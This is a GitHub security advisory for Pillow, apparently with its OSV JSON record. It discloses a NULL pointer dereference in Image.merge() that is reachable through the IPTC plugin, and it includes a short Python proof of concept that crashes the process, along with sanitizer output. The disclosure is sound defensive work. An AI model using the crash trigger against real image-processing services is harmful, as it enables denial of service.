GHSA-CP9V-662Q-VVX9

Vulnerability from github – Published: 2026-10-21 20:30 – Updated: 2026-10-21 20:30
VLAI
Summary
Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0
Details

Summary

Image.merge() checks the mode of every input band except band 0. If band 0 is a single-band I or F image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain Image.open() followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it.

Details

The validation loop skips band 0:

  • src/PIL/Image.py:3795 iterates for band in bands[1:] and checks mode and size only for those.

For an I or F image the 8-bit plane image8 is NULL (only image32 is set). ImagingMerge dereferences bands[0]->image8[y] for the multi-band output modes:

  • src/libImaging/Bands.c:302, :311, :321

The IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0:

  • src/PIL/IptcImagePlugin.py:156-160
  • src/PIL/IptcImagePlugin.py:169 registers the opener with no accept function.

PoC

from PIL import Image

# Band 0 is a single-band "I" image: its image8 plane is NULL. merge() validates only
# bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0.
band0 = Image.new("I", (4, 4))
Image.merge("RGB", [band0, Image.new("L", (4, 4)), Image.new("L", (4, 4))])

Run it:

$ python 02_poc.py
Segmentation fault (core dumped)

Observed on a source build of commit 3e2ab96.

Under AddressSanitizer:

==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
    #0 ImagingMerge   src/libImaging/Bands.c:311
    #1 _merge         src/_imaging.c:2492
SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge

The null address confirms the dereference of the missing image8 plane for band 0.

Impact

NULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "13.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112405"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-21T20:30:25Z",
    "nvd_published_at": "2026-10-19T22:17:08Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`Image.merge()` checks the mode of every input band except band 0. If band 0 is a single-band `I` or `F` image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain `Image.open()` followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it.\n\n### Details\nThe validation loop skips band 0:\n\n- `src/PIL/Image.py:3795` iterates `for band in bands[1:]` and checks mode and size only for those.\n\nFor an `I` or `F` image the 8-bit plane `image8` is NULL (only `image32` is set). `ImagingMerge` dereferences `bands[0]-\u003eimage8[y]` for the multi-band output modes:\n\n- `src/libImaging/Bands.c:302`, `:311`, `:321`\n\nThe IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0:\n\n- `src/PIL/IptcImagePlugin.py:156-160`\n- `src/PIL/IptcImagePlugin.py:169` registers the opener with no accept function.\n\n### PoC\n```python\nfrom PIL import Image\n\n# Band 0 is a single-band \"I\" image: its image8 plane is NULL. merge() validates only\n# bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0.\nband0 = Image.new(\"I\", (4, 4))\nImage.merge(\"RGB\", [band0, Image.new(\"L\", (4, 4)), Image.new(\"L\", (4, 4))])\n```\n\nRun it:\n```\n$ python 02_poc.py\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96`.\n\nUnder AddressSanitizer:\n```\n==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000\n    #0 ImagingMerge   src/libImaging/Bands.c:311\n    #1 _merge         src/_imaging.c:2492\nSUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge\n```\nThe null address confirms the dereference of the missing `image8` plane for band 0.\n\n### Impact\nNULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.",
  "id": "GHSA-cp9v-662q-vvx9",
  "modified": "2026-10-21T20:30:25Z",
  "published": "2026-10-21T20:30:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112405"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0"
}



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